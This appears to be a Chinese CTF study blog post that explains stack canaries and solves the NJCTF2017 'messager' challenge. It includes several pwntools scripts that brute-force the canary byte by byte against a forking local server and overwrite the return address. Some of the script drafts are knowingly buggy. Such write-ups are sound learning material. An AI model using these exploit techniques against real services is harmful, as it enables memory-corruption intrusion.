分类、破解方法

简介

​ 会把canary放到比返回地址还低的位置上,这样溢出的时候,从低地址向高地址溢出,就会覆盖掉canary.

例子

1
2
3
4
5
6
7
#include <stdio.h>

void main()
{
char buf[10];
scanf("%s",buf);
}

image-20230219151606661

1
2
3
4
5
6
7
# gcc -fno-stack-protector canary.c -o fno.out
# python3 -c "print ('a'*30)" | ./fno.out
Segmentation fault (core dumped)
# gcc -fstack-protector canary.c -o fno.out
# python3 -c "print ('a'*30)" | ./fno.out
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)

​ 64位和32位不一样,下面进行调试和查看反汇编代码来看一下

64位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> disass main
Dump of assembler code for function main:
0x00005555555546da <+0>: push rbp
0x00005555555546db <+1>: mov rbp,rsp
0x00005555555546de <+4>: sub rsp,0x20


0x00005555555546e2 <+8>: mov rax,QWORD PTR fs:0x28
0x00005555555546eb <+17>: mov QWORD PTR [rbp-0x8],rax


0x00005555555546ef <+21>: xor eax,eax
0x00005555555546f1 <+23>: lea rax,[rbp-0x12]
0x00005555555546f5 <+27>: mov rsi,rax
0x00005555555546f8 <+30>: lea rdi,[rip+0xa5] # 0x5555555547a4
0x00005555555546ff <+37>: mov eax,0x0
0x0000555555554704 <+42>: call 0x5555555545b0 <__isoc99_scanf@plt>
0x0000555555554709 <+47>: nop

0x000055555555470a <+48>: mov rax,QWORD PTR [rbp-0x8]
=> 0x000055555555470e <+52>: xor rax,QWORD PTR fs:0x28
0x0000555555554717 <+61>: je 0x55555555471e <main+68>
0x0000555555554719 <+63>: call 0x5555555545a0 <__stack_chk_fail@plt>

0x000055555555471e <+68>: leave
0x000055555555471f <+69>: ret
End of assembler dump.

​ 注意看8 17 和 48 52 61 63这几行, 第一部分是开头. 从fs寄存器的偏移0x28位置取出(具体请查阅其他资料)后,放入rax,然后放入rbp-0x8的位置存储canary

​ 函数返回前,从栈上取出来,然后做xor对比,如果一样的话,就都是0,跳转到main + 68,正常结束,如果不一样的话,就调用__stack_chk_fail函数,报错了.

32位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pwndbg> disass main
Dump of assembler code for function main:
0x5655559d <+0>: lea ecx,[esp+0x4]
0x565555a1 <+4>: and esp,0xfffffff0
0x565555a4 <+7>: push DWORD PTR [ecx-0x4]
0x565555a7 <+10>: push ebp
0x565555a8 <+11>: mov ebp,esp
0x565555aa <+13>: push ebx
0x565555ab <+14>: push ecx
0x565555ac <+15>: sub esp,0x10
0x565555af <+18>: call 0x565555f9 <__x86.get_pc_thunk.ax>
0x565555b4 <+23>: add eax,0x1a20

0x565555b9 <+28>: mov ecx,DWORD PTR gs:0x14
0x565555c0 <+35>: mov DWORD PTR [ebp-0xc],ecx

0x565555c3 <+38>: xor ecx,ecx
0x565555c5 <+40>: sub esp,0x8
0x565555c8 <+43>: lea edx,[ebp-0x16]
0x565555cb <+46>: push edx
0x565555cc <+47>: lea edx,[eax-0x1934]
0x565555d2 <+53>: push edx
0x565555d3 <+54>: mov ebx,eax
0x565555d5 <+56>: call 0x56555440 <__isoc99_scanf@plt>
=> 0x565555da <+61>: add esp,0x10
0x565555dd <+64>: nop

0x565555de <+65>: mov eax,DWORD PTR [ebp-0xc]
0x565555e1 <+68>: xor eax,DWORD PTR gs:0x14
0x565555e8 <+75>: je 0x565555ef <main+82>
0x565555ea <+77>: call 0x56555670 <__stack_chk_fail_local>


0x565555ef <+82>: lea esp,[ebp-0x8]
0x565555f2 <+85>: pop ecx
0x565555f3 <+86>: pop ebx
0x565555f4 <+87>: pop ebp
0x565555f5 <+88>: lea esp,[ecx-0x4]
0x565555f8 <+91>: ret
End of assembler dump.

​ 关注28,35和65 - 77这几行,和64位的基本一样,就是canary的来源不同

题目练习

NJCTF2017:messager

​ 64位程序

image-20230226093403660

开了canary,要想办法绕过,然后开了nx,栈不可执行,要用rop之类的

反汇编函数挺长的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int optval; // [rsp+0h] [rbp-10h] BYREF
__pid_t v5; // [rsp+4h] [rbp-Ch]
unsigned __int64 v6; // [rsp+8h] [rbp-8h]

v6 = __readfsqword(0x28u);
sub_400B76(a1, a2, a3);
puts("[+]start..");
addr.sa_family = 2;
*(_WORD *)addr.sa_data = htons(0x15B3u);
*(_DWORD *)&addr.sa_data[2] = htonl(0);
len = 16;
addr_len = 16;
v5 = 0;
puts("[+]socket..");
dword_602140 = socket(2, 1, 0);
if ( dword_602140 < 0 )
{
perror("socket");
return 0xFFFFFFFFLL;
}
optval = 1;
setsockopt(dword_602140, 1, 2, &optval, 4u);
puts("[+]bind..");
if ( bind(dword_602140, &addr, len) < 0 )
{
perror("bind error");
return 0xFFFFFFFFLL;
}
puts("[+]listen..");
if ( listen(dword_602140, 1024) < 0 )
{
perror("listen");
return 0xFFFFFFFFLL;
}
while ( 1 )
{
fd = accept(dword_602140, &stru_602130, &addr_len);
if ( fd == -1 )
{
perror("accept");
return 0xFFFFFFFFLL;
}
send(fd, "Welcome!\n", 9uLL, 0);
v5 = fork();
if ( v5 == -1 )
{
perror("fork");
return 0xFFFFFFFFLL;
}
if ( !v5 )
break;
close(fd);
}
signal(14, handler);
alarm(3u);
if ( (unsigned int)sub_400BE9() )
{
if ( send(fd, "Message receive failed\n", 0x19uLL, 0) == -1 )
goto LABEL_14;
}
else if ( send(fd, "Message received!\n", 0x12uLL, 0) == -1 )
{
LABEL_14:
perror("send");
return 0xFFFFFFFFLL;
}
return 0LL;
}



sub_400BE9
__int64 sub_400BE9()
{
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("csfd = %d\n", (unsigned int)fd);
bzero(s, 0x64uLL);
if ( (unsigned int)recv(fd, s, 0x400uLL, 0) == -1 )
{
perror("recv");
return 0xFFFFFFFFLL;
}
else
{
printf("Message come: %s", s);
fflush(stdout);
return 0LL;
}
}

sub_400BE9 这里接收的值的大小是0x400,超了s的104,存在栈溢出

所以可以让每次fork的子进程来尝试

问题是fork了之后是怎么个执行流? 父进程还在while循环,子进程呢?

fork调用的一个奇妙之处就是它仅仅被调用一次,却能够返回两次,它可能有三种不同的返回值:

(1)在父进程中,fork返回新创建子进程的进程ID;

(2)在子进程中,fork返回0;

(3)如果出现错误,fork返回一个负值

所以父进程会一直在while里循环,不会实际上接收到值,子进程才会接收到值,所以子进程崩了不影响父进程,就可以进行爆破canary

Could not allocate dynamic translator buffer

重新安装一下checksec

查看端口根据进程号

netstat -anlp | grep “mess”

看不懂要怎么连接…先百度一波。应该要有端口的呀

socket(domain, type, protocol);

accept(fd, addr, addr_len);

listen(fd, n);

汇编代码里写哪了呢?

image-20221010212350634

​ 获取canary脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
import socket
context.log_level= "debug"

canary = b""
for i in range(0,8):
for j in range(0,256):
s = socket.socket()
s.connect(("127.0.0.1",5555))
ret = s.recv(1024)
j = b"a"*104 + chr(j).encode("utf-8")
s.send(j)
try:
ret = s.recv(1024)
if b"Message received!" in ret:
print("success")
canary += chr(j)
print(canary)
s.close()
break
except:
continue



1

​ 但是这个脚本的问题,好像在爆破canary的时候还是会有问题….先不管了…这个问题耽搁太久了,后面再研究

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
import socket
context.log_level= "debug"

canary = b""
for i in range(0,8):
print("tiao nale")
print(canary)
for j in range(0,256):
s = socket.socket()
s.connect(("127.0.0.1",5555))
ret = s.recv(1024)
data = b"a"*104 +canary + chr(j).encode("utf-8")
#print(data)
s.send(data)
try:
ret = s.recv(1024)
if b"Message received!" in ret:
#print("success")
canary += bytes(chr(j).encode("utf-8"))
break
except Exception as e:
print(e)


s = socket.socket()
s.connect(("127.0.0.1",5555))
ret = s.recv(1024)
s.send(b"a"*104+canary+b"a"*8 + p64(0x400bc6))
print(s.recv(1024))

​ 假设已经得到了canary了,下一步是覆盖返回地址,有onegadget还是system binsh?后门函数?

1
2
3
4
5
6
7
8
9
10
11
12
ssize_t sub_400B76()
{
int fd; // [rsp+Ch] [rbp-4h]

fd = open("./flag", 0);
if ( fd < 0 )
{
perror("open flag failed");
exit(0);
}
return read(fd, &unk_602160, 0x64uLL);
}

​ 会把flag读到bss段,0x602160, 然后再构造一个puts把它打印出来吧,这里不需要libc了吗

​ 溢出长度 + ebp + sub_400B76 + puts地址 + 返回地址 + 参数

​ nonono ,其实是这里藏了一个函数,为啥ida没有显示出来呢????

1
2
3
4
5
6
7
8
9
10
11
.text:0000000000400BC6                 push    rbp
.text:0000000000400BC7 mov rbp, rsp
.text:0000000000400BCA mov eax, cs:fd
.text:0000000000400BD0 mov ecx, 0
.text:0000000000400BD5 mov edx, 64h ; 'd'
.text:0000000000400BDA mov esi, offset unk_602160
.text:0000000000400BDF mov edi, eax
.text:0000000000400BE1 call _send
.text:0000000000400BE6 nop
.text:0000000000400BE7 pop rbp
.text:0000000000400BE8 retn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

def leak_canary():
canary = ''
while len(canary) != 8:
for j in range(255):
try:
p = remote('127.0.0.1', 5555)
p.recvuntil(b'Welcome!\n')
payload = 'a' * (0x68) + canary + chr(j)
p.send(payload)
msg = p.recvuntil(b'\n')
if b'received' in msg:
canary += chr(j)
p.close()
break
p.close()
except:
p.close()
print(canary)
return u64(canary.ljust(8, '\x00'))

def pwn():
canary = leak_canary()
p = remote('127.0.0.1', 5555)
p.recvuntil(b'Welcome!\n')
payload = b'a' * (0x68) + p64(canary) + b'a' * 8 + p64(0x400bc6)
p.send(payload)
p.interactive()

pwn()

问题: 这个栈的104长度好像不太对

排错

​ 寄,卡在了字符怎么表示这里,然后产生了一大堆的问题,最后调试分析后发现是python2与python3版本差别,对字符串和bytes表示不同的问题,有点乱

这里有一个问题,就是int怎么转byte

还有就是这样的程序怎么调试呢……….

还有str转bytei

留念一下你写的奇葩东西

1
2
3
4
5
6
7
8
9
10
11
12
for j in [0,1,2,3,4,5,6,7,8,9,"a","b","c","d","e","f"]:
#print(j)
s = socket.socket()
s.connect(("127.0.0.1",5555))
ret = s.recv(1024)
#j = b"a"*104 + j.to_bytes(1,'little')
j = b"a"*104 + str(j).encode("utf-8")
print(str(j))
s.send(j)
#s.send(j.to_bytes(1,'little'))
ret = s.recv(1024)
print(ret)

​ 首先,应该是爆破256个数字,这个是ascii码的范围? 然后不是str,而是chr, 对应的字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import socket
context.log_level= "debug"

for j in range(0,256):
#print(j)
s = socket.socket()
s.connect(("127.0.0.1",5555))
ret = s.recv(1024)
#j = b"a"*104 + j.to_bytes(1,'little')
j = b"a"*104 + chr(j).encode("utf-8")
print(str(j))
s.send(j)
#s.send(j.to_bytes(1,'little'))
ret = s.recv(1024)
print(ret)

b’aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00’
b’Message received!\n’

​ 然后就可以了!!! 为啥之前一直不行呢?….

​ 还有就是break为什么break不出去呢? 当时可能就是因为是在这里一直没跳出去..所以以为一直没成功,其实成功l ,ret里明明有的,但是ret好像是bytes类型,而咱给的是字符串,所以不行. 在它前面加一个b就可以了!if b”Message received!” in ret:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
import socket
context.log_level= "debug"

# sh = process("./messager")

#context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(sh,"break *0x8048e96")

for j in range(0,256):
#print(j)
s = socket.socket()
s.connect(("127.0.0.1",5555))
ret = s.recv(1024)
j = b"a"*104 + chr(j).encode('latin-1')

print(str(j))
s.send(j)
try:
ret = s.recv(1024)
print(ret)
print(type(ret))
#if "Message received" in ret:
if "Message received!" in ret:
print("success")
print(j)
s.close()
break
except:
continue

​ 但是有时候都进去输出success了 还是不能break,这是为啥. 把这两行给注释掉就可以了….为什么???

​ 我猜是产生报错了.an integer is required (got type bytes) 果然!! chr(j)是不行的

1
2
3
4
if  b"Message received!" in ret:
#print("success")
#canary += chr(j)
break

​ 各种各样编码的问题……..真的很奇怪诶…要怎么样才能避免呢?

然后爆破出一位canary了之后,继续爆破,爆破完了之后就可以栈溢出了

https://e3pem.github.io/2018/09/30/NJCTF2017/

如果正常的话,会返回messager received

为啥一直爆破不成功呢,很奇怪 为什么python2就可以呢? 为什么python3不行呢……..

对比一下后端接收到的看一下

Python2: Message come: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcsfd = 5

success
this is34

[+] Opening connection to 127.0.0.1 on port 5555: Done
this is30
\x1e
[*] Closed connection to 127.0.0.1 port 5555
[+] Opening connection to 127.0.0.1 on port 5555: Done
this is31
\x1f

[+] Opening connection to 127.0.0.1 on port 5555: Done
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00
this is32

[] Closed connection to 127.0.0.1 port 5555
[+] Opening connection to 127.0.0.1 on port 5555: Done
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00
this is33
!
[
] Closed connection to 127.0.0.1 port 5555
[+] Opening connection to 127.0.0.1 on port 5555: Done
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00
this is34

python3:

Message come: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA””`*** stack smashing detected ***: terminated

感觉这里多了点东西?是的,为什么python2这里不显示呢?

这是第30个
\x1e
[] Closed connection to 127.0.0.1 port 5555
[+] Opening connection to 127.0.0.1 on port 5555: Done
这是第31个
\x1f
[
] Closed connection to 127.0.0.1 port 5555
[+] Opening connection to 127.0.0.1 on port 5555: Done
这是第32个

[] Closed connection to 127.0.0.1 port 5555
[+] Opening connection to 127.0.0.1 on port 5555: Done
这是第33个
!
[
] Closed connection to 127.0.0.1 port 5555
[+] Opening connection to 127.0.0.1 on port 5555: Done
这是第34个

b’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1f’
这是第31个
\x1f
[*] Closed connection to 127.0.0.1 port 5555
[+] Opening connection to 127.0.0.1 on port 5555: Done
b’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ‘
这是第32个

[] Closed connection to 127.0.0.1 port 5555
[+] Opening connection to 127.0.0.1 on port 5555: Done
b’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!’
这是第33个
!
[
] Closed connection to 127.0.0.1 port 5555
[+] Opening connection to 127.0.0.1 on port 5555: Done
b’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”‘
这是第34个

python2版本exp,这个的话,是只有io.recv()接收到了信息,才会往下执行,不然就走except了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

def brute_canary():
global canary
canary = '\x00'
for x in xrange(256): # 2 ** 8
io = remote("127.0.0.1", 5555)
io.recv()
io.send("A" * 104 + canary + chr(x))

try:
io.recv()
canary += chr(x)
print("success")
print("this is"+str(x))
print(chr(x))
break
except: continue
finally: io.close()

def pwn():
io = remote("127.0.0.1", 5555)
io.recv()
io.send("A" * 104 + canary + "A" * 8 + p64(0x400BC6))
print io.recvline()

if __name__ == '__main__':
brute_canary()
pwn()

错误的python3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import socket
def leak_canary():
for i in range(40):
io = socket.socket()
io.connect(("127.0.0.1",5555))
io.recv(1024)

senddata = b"A"*104 + bytes(chr(i),'utf-8')
#print(senddata)
print("这是第"+str(i)+"个")
io.send(senddata)
try:
data = io.recvline()
if "Message received" in data:
print("success")
break #代表这一位已经爆破成功,跳出后进行下一位爆破
except:
continue
finally:
io.close()

def pwn():
io = remote("127.0.0.1",5555)
io.recv()

print(io.recvline())

if __name__ == '__main__':
leak_canary()
pwn()

​ 首先,问题在data = io.recvline(), 这个不行,可能是回复的没有换行符? recv就可以了! data = io.recv(1024),然后问题和之前一样,比特字符和字符串比较不行,需要统一格式!

经过修改后的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import socket
def leak_canary():
global canary
canary = '\x00'
for i in range(30,35):
io = remote("127.0.0.1",5555)
io.recv()

io.send(b"A"*104 + bytes(chr(i),'utf-8'))
#print(senddata)
print("这是第"+str(i)+"个")

try:
io.recv()
canary += chr(x)
print("success")
print("this is"+str(x))
print(chr(x))
break
except: continue
finally: io.close()

def pwn():
io = remote("127.0.0.1",5555)
io.recv

print(io.recvline())

if __name__ == '__main__':
leak_canary()
pwn()

https://blog.csdn.net/Alex_andra/article/details/105923008

Python2:”A” * 104 + chr(i)

Python3:b”A”*104 + bytes(chr(i),’utf-8’)

为什么它们的输出不一样

打印字符的编码类型看看?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
oot@VM-24-10-ubuntu:/home/ubuntu/ctfquanwei/REPL-master/Canary/NJCTF2017_messager# python2
Python 2.7.17 (default, Feb 27 2021, 15:10:58)
[GCC 7.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys,locale
>>> sys.getdefaultencoding()
'ascii'
>>> q
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'q' is not defined
>>> quit()
root@VM-24-10-ubuntu:/home/ubuntu/ctfquanwei/REPL-master/Canary/NJCTF2017_messager# python3
Python 3.8.0 (default, Dec 9 2021, 17:53:27)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys,locale
>>> sys.getdefaultencoding()
'utf-8'

万能的chatgpt…………………………牛的

让chatgpt把python2的代码修改成python3的就可以了…………

image-20230219114331999

我之前也是这么做的呀,只是没有canary的\x00那个值,为什么就不行呢? 果然是因为这个……

所以问题不在于编码,而在于这个\x00

python3

python可以打印数据类型,打印一下,也可以打印一下十六进制看看吧

b’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00”‘
<class ‘bytes’>
success
this is 34

不加canary也是bytes,所以和数据类型应该没关系

打印字节流的十六进制

………..0x410x410x410x00x21

对python2来说

<type ‘str’>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00
this is34

success
this is34

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

def brute_canary():
global canary
canary = '\x00'
for x in xrange(30,35): # 2 ** 8
io = remote("127.0.0.1", 5555)
io.recvuntil(b"Welcome!\n")
io.send("A" * 104 + canary + chr(x))

try:
io.recv()
canary += chr(x)
print("success")
print("this is"+str(x))
print(chr(x))
break
except: continue
finally: io.close()

if __name__ == '__main__':
brute_canary()